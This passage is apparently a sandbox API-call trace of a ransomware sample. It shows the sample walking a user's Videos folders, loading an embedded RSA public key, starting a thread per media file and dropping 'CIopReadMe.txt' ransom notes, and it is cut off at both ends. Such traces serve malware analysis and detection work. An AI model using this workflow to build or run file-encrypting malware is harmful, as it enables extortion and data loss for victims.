returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0105.368] lstrcpyW (in: lpString1=0x2dc77a6, lpString2="_F8m3hu10142ds4cz1.avi" | out: lpString1="_F8m3hu10142ds4cz1.avi") returned="_F8m3hu10142ds4cz1.avi" [0105.368] lstrcpyW (in: lpString1=0x2dc73a6, lpString2="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\" | out: lpString1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\") returned="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\" [0105.368] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40d400, lpParameter=0x2dc7248, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x65c [0105.368] WaitForSingleObject (hHandle=0x65c, dwMilliseconds=0xffffffff) returned 0x0 [0105.843] SetErrorMode (uMode=0x1) returned 0x1 [0105.843] wsprintfW (in: param_1=0x2dc6e0c, param_2="%s\\CIopReadMe.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\CIopReadMe.txt") returned 63 [0105.843] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\CIopReadMe.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\xtvcrj2m0wzyx7ebejj\\ciopreadme.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5c0 [0105.843] CloseHandle (hObject=0x5c0) returned 1 [0105.843] FindNextFileW (in: hFindFile=0x67e5f8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0 [0105.843] FindClose (in: hFindFile=0x67e5f8 | out: hFindFile=0x67e5f8) returned 1 [0105.843] FindClose (in: hFindFile=0x67e5f8 | out: hFindFile=0x67e5f8) returned 0 [0105.843] lstrcpyW (in: lpString1=0x2dc8a30, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj" [0105.843] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\*.*" [0105.843] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\*.*", lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0x67e7f8 [0105.844] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj") returned="XtvCrj2M0wzyx7ebEjj" [0105.844] lstrcpyW (in: lpString1=0x2dc7014, lpString2="XtvCrj2M0wzyx7ebEjj" | out: lpString1="XtvCrj2M0wzyx7ebEjj") returned="XtvCrj2M0wzyx7ebEjj" [0105.844] lstrcmpW (lpString1=".", lpString2="..") returned -1 [0105.844] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0105.844] FindNextFileW (in: hFindFile=0x67e7f8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0105.844] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0105.844] FindNextFileW (in: hFindFile=0x67e7f8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0105.844] FindNextFileW (in: hFindFile=0x67e7f8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0105.844] FindNextFileW (in: hFindFile=0x67e7f8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0105.844] lstrcmpW (lpString1="hpUT", lpString2="..") returned 1 [0105.844] lstrcmpW (lpString1="hpUT", lpString2=".") returned 1 [0105.844] lstrcpyW (in: lpString1=0x2dc8210, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj" [0105.844] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\" [0105.844] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\", lpString2="hpUT" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\hpUT") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\hpUT" [0105.844] SetErrorMode (uMode=0x1) returned 0x1 [0105.844] lstrcpyW (in: lpString1=0x2dc6df8, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\hpUT" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\hpUT") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\hpUT" [0105.844] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\hpUT", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\hpUT\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\hpUT\\" [0105.844] lstrcpyW (in: lpString1=0x2dc69e8, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\hpUT\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\hpUT\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\hpUT\\" [0105.844] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\hpUT\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\hpUT\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\hpUT\\*.*" [0105.844] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\hpUT\\*.*", lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 0x67e9f8 [0105.844] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\hpUT") returned="hpUT" [0105.844] lstrcpyW (in: lpString1=0x2dc53dc, lpString2="hpUT" | out: lpString1="hpUT") returned="hpUT" [0105.844] FindNextFileW (in: hFindFile=0x67e9f8, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 1 [0105.844] FindNextFileW (in: hFindFile=0x67e9f8, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 1 [0105.844] lstrcmpW (lpString1="0_psbc9.avi", lpString2="..") returned 1 [0105.844] lstrcmpW (lpString1="0_psbc9.avi", lpString2=".") returned 1 [0105.844] wsprintfW (in: param_1=0x2dc61c8, param_2="\\\\?\\%s" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\hpUT\\") returned 58 [0105.844] Sleep (dwMilliseconds=0xd) [0105.866] lstrcpyA (in: lpString1=0x2dc5610, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0105.866] lstrcpyW (in: lpString1=0x2dc5b6e, lpString2="0_psbc9.avi" | out: lpString1="0_psbc9.avi") returned="0_psbc9.avi" [0105.866] lstrcpyW (in: lpString1=0x2dc576e, lpString2="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\hpUT\\" | out: lpString1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\hpUT\\") returned="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\hpUT\\" [0105.866] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40d400, lpParameter=0x2dc5610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x664 [0105.867] WaitForSingleObject (hHandle=0x664, dwMilliseconds=0xffffffff) returned 0x0 [0106.116] SetErrorMode (uMode=0x1) returned 0x1 [0106.116] wsprintfW (in: param_1=0x2dc51d4, param_2="%s\\CIopReadMe.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\hpUT\\CIopReadMe.txt") returned 68 [0106.116] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\hpUT\\CIopReadMe.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\xtvcrj2m0wzyx7ebejj\\hput\\ciopreadme.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0106.116] GetModuleHandleW (lpModuleName=0x0) returned 0x400000 [0106.117] FindResourceW (hModule=0x400000, lpName=0xb207, lpType="RC_DATA") returned 0x41b160 [0106.117] LoadResource (hModule=0x400000, hResInfo=0x41b160) returned 0x41bbf8 [0106.117] LockResource (hResData=0x41bbf8) returned 0x41bbf8 [0106.117] SizeofResource (hModule=0x400000, hResInfo=0x41b160) returned 0x759 [0106.117] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\hpUT\\CIopReadMe.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\xtvcrj2m0wzyx7ebejj\\hput\\ciopreadme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x66c [0106.117] WriteFile (in: hFile=0x66c, lpBuffer=0x690880*, nNumberOfBytesToWrite=0x759, lpNumberOfBytesWritten=0x2dc51cc, lpOverlapped=0x0 | out: lpBuffer=0x690880*, lpNumberOfBytesWritten=0x2dc51cc*=0x759, lpOverlapped=0x0) returned 1 [0106.118] CloseHandle (hObject=0x66c) returned 1 [0106.118] FindNextFileW (in: hFindFile=0x67e9f8, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 1 [0106.118] lstrcmpW (lpString1="3m7QHv7T5mGuFh2A31Q.avi", lpString2="..") returned 1 [0106.118] lstrcmpW (lpString1="3m7QHv7T5mGuFh2A31Q.avi", lpString2=".") returned 1 [0106.118] wsprintfW (in: param_1=0x2dc61c8, param_2="\\\\?\\%s" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\hpUT\\") returned 58 [0106.118] Sleep (dwMilliseconds=0xd) [0106.291] lstrcpyA (in: lpString1=0x2dc5610, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0106.291] lstrcpyW (in: lpString1=0x2dc5b6e, lpString2="3m7QHv7T5mGuFh2A31Q.avi" | out: lpString1="3m7QHv7T5mGuFh2A31Q.avi") returned="3m7QHv7T5mGuFh2A31Q.avi" [0106.291] lstrcpyW (in: lpString1=0x2dc576e, lpString2="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\hpUT\\" | out: lpString1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\hpUT\\") returned="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\hpUT\\" [0106.291] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40d400, lpParameter=0x2dc5610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x674 [0106.292] SetErrorMode (uMode=0x1) returned 0x1 [0106.292] wsprintfW (in: param_1=0x2dc51d4, param_2="%s\\CIopReadMe.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\hpUT\\CIopReadMe.txt") returned 68 [0106.292] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\hpUT\\CIopReadMe.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\xtvcrj2m0wzyx7ebejj\\hput\\ciopreadme.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x678 [0106.292] CloseHandle (hObject=0x678) returned 1 [0106.292] FindNextFileW (in: hFindFile=0x67e9f8, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 1 [0106.292] lstrcmpW (lpString1="4xODVA0z5L5w0l.mkv", lpString2="..") returned 1 [0106.292] lstrcmpW (lpString1="4xODVA0z5L5w0l.mkv", lpString2=".") returned 1 [0106.292] wsprintfW (in: param_1=0x2dc61c8, param_2="\\\\?\\%s" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\hpUT\\") returned 58 [0106.292] Sleep (dwMilliseconds=0xd) [0106.354] lstrcpyA (in: lpString1=0x2dc5610, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0106.354] lstrcpyW (in: lpString1=0x2dc5b6e, lpString2="4xODVA0z5L5w0l.mkv" | out: lpString1="4xODVA0z5L5w0l.mkv") returned="4xODVA0z5L5w0l.mkv" [0106.354] lstrcpyW (in: lpString1=0x2dc576e, lpString2="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\hpUT\\" | out: lpString1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\hpUT\\") returned="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\hpUT\\" [0106.354] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40d400, lpParameter=0x2dc5610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x678 [0106.355] SetErrorMode (uMode=0x1) returned 0x1 [0106.355] wsprintfW (in: param_1=0x2dc51d4, param_2="%s\\CIopReadMe.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\hpUT\\CIopReadMe.txt") returned 68 [0106.355] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\hpUT\\CIopReadMe.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\xtvcrj2m0wzyx7ebejj\\hput\\ciopreadme.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x66c [0106.355] CloseHandle (hObject=0x66c) returned 1 [0106.355] FindNextFileW (in: hFindFile=0x67e9f8, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 1 [0106.355] lstrcmpW (lpString1="H9o_U92tz2Ho9-mh.swf", lpString2="..") returned 1 [0106.355] lstrcmpW (lpString1="H9o_U92tz2Ho9-mh.swf", lpString2=".") returned 1 [0106.355] wsprintfW (in: param_1=0x2dc61c8, param_2="\\\\?\\%s" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\hpUT\\") returned 58 [0106.355] Sleep (dwMilliseconds=0xd) [0106.396] lstrcpyA (in: lpString1=0x2dc5610, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0106.396] lstrcpyW (in: lpString1=0x2dc5b6e, lpString2="H9o_U92tz2Ho9-mh.swf" | out: lpString1="H9o_U92tz2Ho9-mh.swf") returned="H9o_U92tz2Ho9-mh.swf" [0106.396] lstrcpyW (in: lpString1=0x2dc576e, lpString2="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\hpUT\\" | out: lpString1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\hpUT\\") returned="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\hpUT\\" [0106.396] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40d400, lpParameter=0x2dc5610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x684 [0106.396] WaitForSingleObject (hHandle=0x684, dwMilliseconds=0xffffffff) returned 0x0 [0106.613] SetErrorMode (uMode=0x1) returned 0x1 [0106.613] wsprintfW (in: param_1=0x2dc51d4, param_2="%s\\CIopReadMe.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\hpUT\\CIopReadMe.txt") returned 68 [0106.613] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\hpUT\\CIopReadMe.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\xtvcrj2m0wzyx7ebejj\\hput\\ciopreadme.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x680 [0106.613] CloseHandle (hObject=0x680) returned 1 [0106.613] FindNextFileW (in: hFindFile=0x67e9f8, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 0 [0106.613] FindClose (in: hFindFile=0x67e9f8 | out: hFindFile=0x67e9f8) returned 1 [0106.613] FindClose (in: hFindFile=0x67e9f8 | out: hFindFile=0x67e9f8) returned 0 [0106.613] lstrcpyW (in: lpString1=0x2dc6df8, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\hpUT" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\hpUT") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\hpUT" [0106.613] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\hpUT", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\hpUT\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\hpUT\\*.*" [0106.613] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\hpUT\\*.*", lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 0x67e3f8 [0106.613] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\hpUT") returned="hpUT" [0106.613] lstrcpyW (in: lpString1=0x2dc53dc, lpString2="hpUT" | out: lpString1="hpUT") returned="hpUT" [0106.613] lstrcmpW (lpString1=".", lpString2="..") returned -1 [0106.613] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0106.613] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 1 [0106.614] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0106.614] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 1 [0106.614] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 1 [0106.614] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 1 [0106.614] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 1 [0106.614] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 1 [0106.614] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 0 [0106.614] FindClose (in: hFindFile=0x67e3f8 | out: hFindFile=0x67e3f8) returned 1 [0106.614] FindClose (in: hFindFile=0x67e3f8 | out: hFindFile=0x67e3f8) returned 0 [0106.614] FindNextFileW (in: hFindFile=0x67e7f8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0106.614] FindNextFileW (in: hFindFile=0x67e7f8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0106.614] FindNextFileW (in: hFindFile=0x67e7f8, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0106.614] lstrcmpW (lpString1="pQzyM", lpString2="..") returned 1 [0106.614] lstrcmpW (lpString1="pQzyM", lpString2=".") returned 1 [0106.614] lstrcpyW (in: lpString1=0x2dc8210, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj" [0106.614] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\" [0106.614] lstrcatW (in: 